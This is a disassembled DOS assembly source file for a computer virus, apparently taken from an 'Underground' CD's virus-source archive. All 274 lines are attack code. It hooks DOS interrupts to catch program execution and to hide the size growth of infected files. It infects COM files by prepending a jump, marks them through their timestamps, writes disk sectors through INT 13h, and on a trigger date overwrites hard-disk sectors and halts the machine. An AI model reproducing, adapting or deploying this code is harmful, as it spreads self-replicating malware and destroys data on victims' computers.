Underground/Underground CD1.iso/virii/zrodla/c/cv.asm

Assembly Source File | 1998-01-14 | 3.9 KB | 274 lines

    PAGE    60,132
;
XSEG    SEGMENT
;    Seg=01387H
;    Org=00000H
    ASSUME CS:XSEG
XPROC    PROC FAR
    JMP    L6551
    DEC    BX
    PUSH    BX
    PUSH    CX
    CALL    L0009
L0009:    POP    SI
    SUB    SI,+09H
    PUSH    SI
    CLD
    MOV    DI,0100H
    MOV    CX,0005H
    MOVSB
    JMP    L01CE
L001A:    PUSHF
    PUSH    CS
    CALL    WORD PTR CS:[08C0H]
    DB    0C3H; RET
    STI
    CMP    AH,4BH
    JE    L0061
    CMP    AH,11H
    JE    L0035
    CMP    AH,12H
    JE    L0035
    JMP    L01C0
L0035:    CALL    L001A
    PUSH    AX
    PUSH    BX
    PUSH    ES
    MOV    AH,2FH
    CALL    L001A
    MOV    AX,534BH
    CMP    ES:[BX+1EH],AX
    JNE    L0050
    MOV    AX,0254H
    SUB    ES:[BX+24H],AX
L0050:    POP    ES
    POP    BX
    POP    AX
    RET    0002H; 0CAH
L0056:    MOV    BX,0F200H
    MOV    CX,0001H
    MOV    DH,00H
    INT    13H
    DB    0C3H; RET
L0061:    PUSHF
    PUSH    SS
    PUSH    AX
    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    DI
    XOR    AX,AX
    MOV    DS,AX
    MOV    DI,DS:[0194H]
    MOV    ES,DS:[0196H]
    MOV    AX,WORD PTR DS:[004CH]
    MOV    BX,DS:[004EH]
    MOV    CX,0F000H
    MOV    DX,0EC59H
    MOV    DS:[0100H],DX
    MOV    DS:[0102H],CX
    MOV    WORD PTR DS:[0198H],AX
    MOV    DS:[019AH],BX
    MOV    DS:[004CH],DI
    MOV    DS:[004EH],ES
    PUSH    CS
    POP    DS
    PUSH    CS
    POP    ES
    MOV    AH,19H
    CALL    L001A
    CMP    AL,01H
    JNBE    L00BB
    MOV    DL,AL
    MOV    AX,0201H
    CALL    L0056
    MOV    AX,0301H
    CALL    L0056
    CMP    AH,00H
    JNE    L00D0
L00BB:    MOV    AH,2AH
    CALL    L001A
    CMP    DX,0401H
    JNE    L00D3
    MOV    AX,030FH
    MOV    DL,80H
    CALL    L0056
    CLI
    HLT
L00D0:    JMP    L01A4
L00D3:    MOV    AH,2FH
    CALL    L001A
    MOV    CS:[08B0H],ES
    MOV    CS:[08B2H],BX
    MOV    AH,4EH
    MOV    DX,0BD5H
    MOV    CX,0000H
    CALL    L001A
    JB    L00D0
L00EF:    MOV    AX,534BH
    CMP    ES:[BX+16H],AX
    JNE    L0101
L00F8:    MOV    AH,4FH
    CALL    L001A
    JB    L00D0
    JMP    SHORT L00EF
L0101:    MOV    CX,05DCH
    CMP    ES:[BX+1AH],CX
    JBE    L00F8
    PUSH    ES
    POP    DS
    MOV    AX,3D02H
    MOV    DX,BX
    ADD    DX,+1EH
    CALL    L001A
    MOV    WORD PTR CS:[0C65H],AX
    MOV    BX,AX
    PUSH    CS
    POP    DS
    MOV    AH,3FH
    MOV    DX,0A10H
    MOV    CX,0005H
    CALL    L001A
    MOV    DX,5A4DH
    CMP    DS:[0A10H],DX
    JE    L019A
    MOV    DI,0C67H
    MOV    AL,0E9H
    MOV    [DI],AL
    INC    DI
    MOV    BX,DS:[08B2H]
    MOV    CX,ES:[BX+1AH]
    INC    CX
    INC    CX
    MOV    [DI],CX
    INC    DI
    INC    DI
    MOV    AX,534BH
    MOV    [DI],AX
    MOV    BX,CS:[0C65H]
    MOV    AX,4200H
    XOR    CX,CX
    XOR    DX,DX
    CALL    L001A
    MOV    AH,40H
    MOV    DX,0C67H
    MOV    CX,0005H
    CALL    L001A
    MOV    AX,4202H
    XOR    CX,CX
    XOR    DX,DX
    CALL    L001A
    PUSH    CS
    POP    DS
    MOV    BX,CS:[0C65H]
    MOV    AH,40H
    MOV    DX,0A10H
    MOV    CX,0254H
    CALL    L001A
    JB    L019A
    MOV    BX,CS:[0C65H]
    MOV    AX,5700H
    CALL    L001A
    MOV    AX,5701H
    MOV    CX,534BH
    CALL    L001A
L019A:
    MOV    BX,CS:[0C65H]
    MOV    AH,3EH
    CALL    L001A
L01A4:    XOR    AX,AX
    MOV    DS,AX
    MOV    AX,WORD PTR DS:[0198H]
    MOV    BX,DS:[019AH]
    MOV    WORD PTR DS:[004CH],AX
    MOV    DS:[004EH],BX
    POP    DI
    POP    SI
    POP    ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    POP    AX
    POP    SS
    POPF
L01C0:
    JMP    WORD PTR CS:[08C0H]
    SUB    CH,DS:[6F63H]
    DB    6DH
    ADD    [BX+SI+0CF03H],DH
L01CE:    MOV    AX,0070H
    MOV    ES,AX
    MOV    DI,0000H
    MOV    AX,80FBH
L01D9:    CLD
    MOV    CX,0FFFFH
    SCASW
    JE    L01E6
    MOV    DI,0001H
    JMP    SHORT L01D9
L01E6:    MOV    BX,02FCH
    CMP    ES:[DI],BX
    JNE    L01DD
    DEC    DI
    DEC    DI
    XOR    AX,AX
    MOV    DS,AX
    MOV    DS:[0194H],DI
    MOV    DS:[0196H],ES
    MOV    ES,DS:[009EH]
    MOV    BX,DS:[00A0H]
    PUSH    CS
    POP    DS
    MOV    DX,BP
    MOV    BP,DS
    POP    SI
    PUSH    SI
    MOV    DI,0A10H
    MOV    CX,0255H
    MOVSB
    PUSH    ES
    LEA    DI,[BX+1BH]
    MOV    AL,0E9H
    STOSB
    MOV    AX,0A30H
    SUB    AX,DI
    STOSW
    MOV    AX,9090H
    STOSW
    STOSW
    MOV    ES:[08C0H],DI
    MOV    AX,SS
    SUB    AX,0018H
    CLI
    MOV    SS,AX
    PUSH    CS
    POP    SS
    STI
    MOV    DS,BP
    MOV    BP,DX
    POP    ES
    PUSH    CS
    POP    ES
    POP    SI
    POP    CX
    XOR    DX,DX
    XOR    SI,SI
    XOR    AX,AX
    XOR    BX,BX
    MOV    DI,0100H
    JMP    DI
    DEC    BP
    DB    69H
    DB    6CH
    DB    65H
    DB    6EH
    DB    61H
    AND    [BP+DI+02H],CL
XPROC    ENDP
XSEG    ENDS
    END